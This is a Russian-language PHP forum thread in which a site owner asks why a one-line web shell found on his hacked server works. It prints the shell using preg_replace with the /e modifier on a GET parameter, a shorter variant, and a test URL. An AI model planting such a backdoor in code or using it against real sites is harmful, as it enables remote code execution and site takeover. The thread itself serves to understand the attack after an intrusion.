За последние 24 часа нас посетили 20703 программиста и 1106 роботов. Сейчас ищут 527 программистов ...

Почему работает Shell

Тема в разделе "PHP для профи", создана пользователем ansgp, 31 авг 2018.

  1. ansgp

    ansgp Новичок

    С нами с:
    31 авг 2018
    Сообщения:
    2
    Симпатии:
    0
    Добрый день!
    Мой сайт был взломан и в его корне размещен следующий код:
    <?php @preg_replace("/[pageerror]/e",$_GET['ttt'],"saft"); ?>

    Как ломали я понял, сайт пропатчил.
    Но я не понял почему работает вышеприведенный код.
    Поиск по маске "/[pageerror]/e" в строке "saft" и замена на то, что пришло в переменной ttt... Ну и что?
    Но это работает!
    Впишите строчку в test.php, загрузите на свой сайт и зайдите на:
    http://сайт/test.php?ttt=phpinfo();
    Ведь работает! Но почему?
     
  2. igordata

    igordata Суперстар
    Команда форума Модератор

    С нами с:
    18 мар 2010
    Сообщения:
    32.410
    Симпатии:
    1.768
    от чего патчил, если не понял, как ломали?
    это звучит как "чем болел - не понял, но лекарство выпил"

    потому что какого-то хрена /e в регулярках в пхп исполняет код.
    не знаю, кому это вообще пришло в голову, но исторически это так.
    В новых версиях это исправили.
    тут написано https://php.ru/manual/function.preg-replace.html
     
  3. ansgp

    ansgp Новичок

    С нами с:
    31 авг 2018
    Сообщения:
    2
    Симпатии:
    0
    Я понял каким образом загрузили этот код на сайт и это пропатчил.
    Но не понял почему работает этот код. ПХП у меня: PHP Version 5.6.36-0+deb8u1. Т.е. PHP
    ставится и обновляется через репозиторий Debian. Стоят последние обновления.
    Да и правда /e исполняет код указанный во втором аргументе. :)))
    А я думал магия тут: "/[pageerror]/e" и тут: "saft".
    А оказалось <?php @preg_replace("/[p]/e",$_GET['ttt'],"p"); ?> - тоже работает!
    Спасибо!
     
  4. keren

    keren Новичок

    С нами с:
    15 ноя 2017
    Сообщения:
    513
    Симпатии:
    42
    Расскажите как, какой движок?
     
  5. igordata

    igordata Суперстар
    Команда форума Модератор

    С нами с:
    18 мар 2010
    Сообщения:
    32.410
    Симпатии:
    1.768
    последние-распоследние
     
  6. lastdays

    lastdays Активный пользователь

    С нами с:
    27 сен 2012
    Сообщения:
    410
    Симпатии:
    74
    Тебя и в правду интересует, как работает код или больше интересно, откуда он там взялся ?
    PHP версии 5,6 это не последние обновления, увы.